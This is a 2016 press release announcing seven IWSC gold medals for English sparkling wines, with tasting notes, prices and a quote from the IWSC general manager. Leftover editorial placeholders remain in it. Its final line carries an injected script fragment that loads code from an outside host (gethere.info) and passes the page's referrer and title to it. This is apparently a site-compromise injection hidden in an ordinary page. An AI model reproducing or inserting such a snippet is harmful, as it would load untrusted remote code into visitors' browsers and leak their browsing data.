A SPARKLING WEEK FOR ENGLISH WINES AS IWSC AWARDS A RECORD SEVEN GOLDS TO HOMEGROWN PRODUCERS

14/07/2016

ShareShare on Facebook
Facebook
Share on Google+
Google+
Tweet about this on Twitter
Twitter
Share on LinkedIn
Linkedin

This year, English sparkling wines have been awarded a record breaking seven International Wine and Spirit Competition (IWSC) gold medals, bolstering England’s position amongst the great wine producing countries of the world.

The southern counties of England were very well represented the competition’s results, with four of the gold winning wines hailing from Sussex, Kent and Dorset. The wines stood out from the crowd in the scrupulously judged competition, which has an unrivalled, ruthless and highly qualified panel including Masters of Wine and esteemed wine writers from the world over.

IWSC General Manager, Ewan Lacey, explains why English wines are competing successfully on an international stage.

Ewan says, “English wine entries to the IWSC competition have grown by an astonishing 155% since 2013 and the numbers of gold medals awarded to them has increased each year since.  This is evidence of the commitment and passion that English wine producers are investing in their wines to great effect, as they bring their products to the global stage.”

“The English climate and soil, particularly in the South, is ideal for the production of sparkling wine using the same traditional method as champagne. These are now producing wines which compete with the best sparkling wines and champagnes around the world.”

England are fast becoming a growing force in international wine making and seven gold awards from the IWSC provides the perfect timing for a toast to domestic success during English Wine Week (28 May to 5 June).

You could ask Julia Trustram-Eve for a quote from English Wine Producers
Julia Trustram Eve –  julia@englishwineproducers.co.uk

IWSC 2016 English Gold Medal Winners:

Court Garden Ditchling Reserve Vintage Brut 2010

(IWSC to provide medalled Image)

A delicious blend of Pinot Noir and Pinot Meunier from the wonderful 2010 vintage. The wine spent nine months in French Oak Barrel before bottling, just enough time to give a rounder mouthfeel and a hint of vanilla.

£29.55

(IWSC to confirm preferred stockist) We don’t have preferred – can supply a list only if they have inputted

Chapel Down Three Graces 2010

(IWSC to provide medalled Image)

A blend of the three great sparkling wine grapes, Pinot Noir, Chardonnay and Pinot Meunier. This wine is made only from the best fraction of juice which undergoes a cool fermentation in stainless steel followed by full malolactic fermentation, bottling and a minimum of 4 years maturation in bottle.

£26.99

(IWSC to confirm preferred stockist) We don’t have preferred – can supply a list only if they have inputted

Langham Blanc de Blanc 2011

(IWSC to provide medalled Image)

The golden hues and fine bubbles compliment the wine’s honeyed richness. All the components are complimented by a fresh citrus acidity that leads to a long mouth-watering finish. Perfect as an apéritif or paired with seafood.

£26.00

(IWSC to confirm preferred stockist) We don’t have preferred – can supply a list only if they have inputted

Nutty Brut 2013

(IWSC to provide medalled Image)

A traditional Bottle Fermented Sparkling Wine made with Pinot Noir, Chardonnay and some Reichensteiner, to make a zesty, dry, balanced wine with excellent fruit. This wine is matured in the bottle for 3 years before a vintage is released.

£22.00

(IWSC to confirm preferred stockist) We don’t have preferred – can supply a list only if they have inputted

Nyetimber Classic Cuvee Magnum 2009

(IWSC to provide medalled Image)

Lovely pale gold and gentle, fine bubbles, toasty, spicy and complex aromas showing wonderful development after more than three years on lees in the cellar. The palate supports these complex aromas with honey, almond, pastry and bakes apple flavours. Very fine and elegant with a great combination of intensity, delicacy and length.

(IWSC to confirm RRP) We don’t ask for this information so can’t confirm

(IWSC to confirm preferred stockist) We don’t have preferred – can supply a list only if they have inputted

Nyetimber Blanc de Blancs 2009

(IWSC to provide medalled Image)

Pale gold in colour with tiny, delicate bubbles. Floral and lime aromas lead on rich notes of pastry and brioche. On the palate, fresh citrus flavours are balanced with an underlying minerality and a toasty intensity. Very fine and elegant with a long, complex finish.

(IWSC to confirm RRP) We don’t ask for this information so can’t confirm

(IWSC to confirm preferred stockist) We don’t have preferred – can supply a list only if they have inputted

Ridgeview Blanc de Noirs 2013

(IWSC to provide medalled Image)

A deep, golden colour with a persistent fine stream of bubbles. Rich, earthy red fruit aromas are followed by a complex toasted palate. The finish is long-lasting and beautifully balanced.

£32.95

(IWSC to confirm preferred stockist) We don’t have preferred – can supply a list only if they have inputted

A full list of winners can be found at www.iwsc.net

Follow the Competition on twitter @theiwscs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;